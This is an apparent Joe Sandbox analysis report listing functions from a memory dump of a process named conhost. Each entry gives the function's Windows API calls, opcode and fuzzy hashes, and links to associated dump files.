Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: f2dd604c1d335bd320c585fab610188f52dab538cc70c04db0cee5ea69d131e6
Instruction ID: b97806f19c0405a26002511e0c4413f85493d48b720708aaaf3e255db94140b4
Opcode Fuzzy Hash: f2dd604c1d335bd320c585fab610188f52dab538cc70c04db0cee5ea69d131e6
Instruction Fuzzy Hash: 2DE06D3255A5206AEA506B387C497DB3B4CDF46327F008576F851E40D0DB3C9A42959E

Function 004029C5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 004029E9

Strings

@, xrefs: 004029DC

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction ID: ac6f2177cda35d3747c738f0166e8eeafa9c669c636109ee84ed785ee5894a61
Opcode Fuzzy Hash: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction Fuzzy Hash: 05F0C8B1B242049ADF71A775DA4DB9E77E4BB04358F10453BD402F61C1EBB8D8448A0D

Function 004180FF Relevance: 3.2, APIs: 2, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 00416224: _CxxThrowException.MSVCRT(?,0041C8F8), ref: 0041623E

??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 0041821D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 00418381

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$ExceptionThrow
String ID:
API String ID: 2803161813-0
Opcode ID: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction ID: 83b4708bc2a3ecc906b18b476579f0d6f6f5e7f9de80452c7b562753e21decce
Opcode Fuzzy Hash: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction Fuzzy Hash: 50815831A00609AFCB24DFA5C891AEEBBF1FF08314F14456EE955A3351DB39A981CB58

Function 004011B7 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 1f9a55caba75cadcb91bceca6c230f2d475c92929f7224438b838ce811413bbf
Instruction ID: 4976e3025a107b63499e13e7bd885c103cda5e9e62e117b5f23361b6eed5d2a5
Opcode Fuzzy Hash: 1f9a55caba75cadcb91bceca6c230f2d475c92929f7224438b838ce811413bbf
Instruction Fuzzy Hash: 65F08C36210611ABC324DF6DC59186BB3E4FB88351720883FE6DBD72A1DA35A8918754

Function 00402805 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402815
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402839

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: bed7f57db46ba43abd644648d02ff90f7b51b5d2083ba0ee63874616bb6d9ca7
Instruction ID: bcdea4c81718d913e52e4f2a3d02f3e10d2d0235028ef0e1c46e76d630642e7e
Opcode Fuzzy Hash: bed7f57db46ba43abd644648d02ff90f7b51b5d2083ba0ee63874616bb6d9ca7
Instruction Fuzzy Hash: 9AF0903A0046419FC330AF2AC594843FBE8EB59714720CD7FE1D6D36A2C674A880C764

Function 00412305 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00412320
GetLastError.KERNEL32(?,?,?,?), ref: 0041232E

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction ID: 65ff4e97a72b45656fb33b06e3671964329e584f013e41466ec28955d6667f50
Opcode Fuzzy Hash: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction Fuzzy Hash: B7F0B7B4900208EF8B05CFA4D9448EE7BB5EB49310B208599F815D7350D7759A60DB65

Function 004134C7 Relevance: 2.5, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 004134D2
LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 004134F1

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction ID: b96cbccc89c31bbccc7d9b04d0ab1e0d7f4ede81ffdd75c3392c9c36ee2ff524
Opcode Fuzzy Hash: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction Fuzzy Hash: 43F0B432200204ABCB218F95CC08ECABBB9EF49761F14441AFA05E7220C775E860DBA4

Function 004051F3 Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,Shortcut,?,?,?,00000000,?,?), ref: 004052D3

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 907d3067a0f0ca923029c38a05689f0d1b889070e2b590ff01ae01901b702738
Instruction ID: 0bb365396999fc963ec5f62f7917bd7f826dfa99e5f1c601d6dd50d1c2783384
Opcode Fuzzy Hash: 907d3067a0f0ca923029c38a05689f0d1b889070e2b590ff01ae01901b702738
Instruction Fuzzy Hash: 1A21BF7480051AAADF21AE94C844BFF3664EF12354F5401BFEC50712E1E63C8A92CEAA

Function 004012AB Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 004012EF

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction ID: a535b6e06518e329df30477031f310d0f2202fa2471075cd59bb490024d4aebd
Opcode Fuzzy Hash: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction Fuzzy Hash: EDF05E321006029BC7209F55C804BA773F5BB88310F04482EE046F25A0D738A891DF59

Function 0041236B Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041229A: CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,00000000,?,004123BE,?,80000000,?,?,?,004123E0), ref: 0041238D

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction ID: 5404b23c39375f3672358c8d8a6143ebe8ef3d7cff4e6c8b62a506d5a933efac
Opcode Fuzzy Hash: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction Fuzzy Hash: 05E086360003297BCF115F64AD01BCE3F55AF09360F104116FA24961F0C7B2C4B5AB95

Function 004124AC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00412AE7,00000001,0041EA30,0041EA30,0041A558,?,00405A74,?,?), ref: 004124CF

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction ID: b461439d7febe1c34a09764e505ffeaa1d621892ee7a9e15149591a9498c33bb
Opcode Fuzzy Hash: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction Fuzzy Hash: 21E0C275640208FFDB00DF95D801BDE7BB9AB09354F10C069F9189A260D3799A60DF55

Function 00418390 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00418395

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction ID: f5503d52053c13d59ef663bb5271dc3ef65e74f3c8d6ef33482ecfccbeeb62e3
Opcode Fuzzy Hash: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction Fuzzy Hash: F0E08C72A00108FBDB219F85DC01BEEBB38FB40354F00842FF51151110CB795A509A68

Function 00407568 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 0040757B

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction ID: 07ee00ee9fd24b5c7ccaf45b7f299fd8fb924091db141d3d19c4ab49eb9d3da1
Opcode Fuzzy Hash: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction Fuzzy Hash: 69D017F6800208BFCB01DFA0CC05CEA3BADEB08248B008465BD05C2210E632DA108B61

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00412407

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction ID: 9ccc3df45c5337931c1f9920f453614b41e8bb9900b5d069a402b44b4c854426
Opcode Fuzzy Hash: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction Fuzzy Hash: 99E0EC75201208FFDB01CF90CC01FDE7BBDFB49754F208058E90496160C7759A24EB55

Function 00412260 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 00412276

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction ID: a48faa5ad871c9538198cc58908edd1886e2b5d46e41b8f7632e96d43fd9665f
Opcode Fuzzy Hash: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction Fuzzy Hash: D7D02231104B22478160BB6AC8004CF73C69F113343008E1EF465836E0C638FDD182DE

Function 00401198 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0040119C

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction ID: 80e429c9655060905b03d38468354203b5df30ae66867c399f2ea5f3bf3c7cce
Opcode Fuzzy Hash: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction Fuzzy Hash: 87C08C36190203CBC7004F30CC026457BE1BBA0714B6486A8A065C63B0DA3EC448CA01

Function 00401397 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 004013A4

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction ID: 2bfd4fe5492bcf1d3212a322bb009ce45eed1b46813e47afac693d05b876fedf
Opcode Fuzzy Hash: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction Fuzzy Hash: 0BC09B753181049BC718FF21C450817B365AB64714714C85FF84C55547CA3BDC82E618

Function 0041247F Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,004124A9,00000000,00000000,?,004012DC,?), ref: 0041248D

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction ID: f7402770b179a49de0ab9fe0b192ea54849ac29a58fff8f6d7b1295910a8291e
Opcode Fuzzy Hash: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction Fuzzy Hash: 31C04C36159105FF8F020F70CC04C1ABFA2AB99311F10CA18B155C4074C7328034EB12

Function 004015D8 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,00000000,?,?,?,?,?,?,00401AD3,?), ref: 004015F7

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 9ce87d3618841754b289e833f2129ab4342cf9214df92cd0b1523f3ce672331a
Instruction ID: 576c3123db9d42ad6f26370305c4fe05627a80a4f610c37a806172f0a9a2cc4a
Opcode Fuzzy Hash: 9ce87d3618841754b289e833f2129ab4342cf9214df92cd0b1523f3ce672331a
Instruction Fuzzy Hash: C5318271910115ABDB10EFE5CC84CEFB7B8EF48344B15087BE441B72A1D7799E818B69

Function 004128AC Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000060), ref: 00412927

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 7b467f4edc98581b48bf4a6afa053e8629786425d12130fb830a7fa7cf97d8b1
Instruction ID: 8d352c1c46fd1df2ac59e7115e7018534418c9226e76046c12a2ea9475f01b4a
Opcode Fuzzy Hash: 7b467f4edc98581b48bf4a6afa053e8629786425d12130fb830a7fa7cf97d8b1
Instruction Fuzzy Hash: 3F21C3717142869BCF34FF658A904EB7395AF40314B14462FE482D3201C7B8ADE5CB5E

Function 004035CF Relevance: 1.3, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 49c7081fe57492d8dbfed043f0875de13a40989083cc347d4da349545cac1097
Instruction ID: 1b5e1ee4d6878524e1e94f3eb7038bf21a854c21e9593a8af651c0b03c199f54
Opcode Fuzzy Hash: 49c7081fe57492d8dbfed043f0875de13a40989083cc347d4da349545cac1097
Instruction Fuzzy Hash: FED0A9312082203AEA5862320C119AF08884F40329B008C3FB802E62D1DE3ECE81429E

Function 0041229A Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction ID: 2edd4d7db1caf844859ff0a1764f07c4c63b16d89aef5b3dab10146b982c9a76
Opcode Fuzzy Hash: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction Fuzzy Hash: 4DD01231604161468E745E3C7A445D637D85A06370321079BF4B5C32E1D3B58CD35A98

